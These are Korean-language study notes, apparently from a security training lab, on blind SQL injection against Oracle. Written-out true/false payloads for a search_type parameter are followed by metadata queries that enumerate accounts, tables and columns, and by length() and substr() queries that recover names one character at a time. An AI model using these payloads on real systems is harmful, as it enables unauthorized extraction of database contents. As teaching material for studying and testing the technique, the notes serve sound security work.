Oracle Blind Based

Contents Based

1=1 and title(참) 과 1=2 and title(거짓) > test(기준문자) 출력 되냐 안되냐의 유무

search_type=1=1+andtitle&keyword=test		# 참 :	기준문자 test가 출력
search_type=1=2+andtitle&keyword=test		# 거짓 : 기준문자 test가 출력 되지 않음

Blind Based

서버의 참/거짓에 응답값을 가지고 문자열을 유추

3가지 탐색 방식

1. 순차 탐색

2. 이진 탐색

3. 비트 연산 탐색

 

비 순차 탐색방식 ( 메타데이터 조회 )

# 1. 사용자 계정 개수 세기
SELECT count(*) FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables)) WHERE owner like '%C##%';
# rownum은 1줄만 출력하기위해 ( 하나의 레코드와 하나의 컬럼만 출력하기 위해 사용 )
# 다만 현재 정보 탈취의 환경은 Blind 이기 때문에 비 순차방식으로 조회가 필요
# 그렇기에 아래 코드를 써야한다.
SELECT count(*) FROM (SELECT DISTINCT owner FROM all_tables) WHERE owner like'%C##%';

---

# 2. 사용자 계정 출력하기
SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1;
SELECT owner FROM (SELECT rownum r, owner FROM all_tables WHERE owner like '%C##%') WHERE r=1;	# 굳이 중복제거 사용할 필요 없기에 삭제

 

 

 

2. C##KITRI 계정의 테이블 비순차 목록화

2-1 찾고자하는 테이블을 '%%' 유추하여 유추된 테이블의 개수 탐색

SELECT count(*) FROM (SELECT rownum r,table_name FROM all_tables WHERE owner='C##KITRI' and table_name like '%MEM%');

2-2  탐색된 테이블이 1개라면 그 테이블 이름 조회

SELECT table_name FROM all_tables WHERE owner='C##KITRI' and table_name like '%MEM%';

오라클 함수 사용법

MYSQL		:	length(test);	출력 결과 : 4
Oracle		:	length(test);	출력 결과 : 4

Count(*)도 동일
# 다만 ORACLE에서는 SUBSTR을 사용한다

 

3. C##KITRI 계정의 컬럼 비순차 목록화

3-1 찾고자하는 컬럼을 '%%' 유추하여 유추된 컬럼의 개수 탐색

SELECT count(*) FROM (SELECT rownum r,column_name FROM all_tab_columns WHERE owner='C##KITRI' and table_name='MEMBERS' and column_name like '%ID%');

3-2  탐색된 테이블이 1개라면 그 테이블 이름 조회

 

블라인드 프로세스

1. 해당 계정 및 테이블,컬럼 개수(count(*))를 찾는다. 단, 기본정보 3가지는 1개 이므로 개수를 찾을 필요 없음

2. 해당 계정 및 테이블, 컬럼의 이름을 (like'%%') 문자로 유추한다

3. 해당 문자의 글자수(length())를 유추한다.

4. 순차탐색, 이진탐색, 비트 연산 탐색(substr())을 이용하여 하나하나 참/거짓 값을 뽑아낸다.

5. 조합한다.

 

사용자 이름 찾기

1. 기본 3가지 목록화 中 사용자 이름 찾기 ( SID를 유추하여 XE를 밝혔다는 가정 하 진행 )

기본 구문 : SELECT user FROM dual
유추 구문 : length((SELECT user FROM dual))=8	# 기준문자 match가 된다

---

# 탐색 구문
substr((SELECT user FROM dual),1,1)='C'
substr((SELECT user FROM dual),2,1)='#'
substr((SELECT user FROM dual),3,1)='#'
substr((SELECT user FROM dual),4,1)='K'
substr((SELECT user FROM dual),5,1)='I'
substr((SELECT user FROM dual),6,1)='T'
substr((SELECT user FROM dual),7,1)='R'
substr((SELECT user FROM dual),8,1)='I'
# 사용자 계정은 모두 대문자

---

2. 사용자 계정들을 메타 데이터 목록화 진행

기본 구문 : SELECT DISTINCT owner FROM all_tables;
개수 구문 : (SELECT count(*) FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%'))=2
# > 2개 출력된다 - rownum을 사용해야한다

---

# 유추 구문
length((SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1))=8

---

# 탐색 구문
substr((SELECT owner FROM (SELECT rownum r, owner FROM (SELECT DISTINCT owner FROM all_tables WHERE owner like '%C##%')) WHERE r=1),1,1)='C'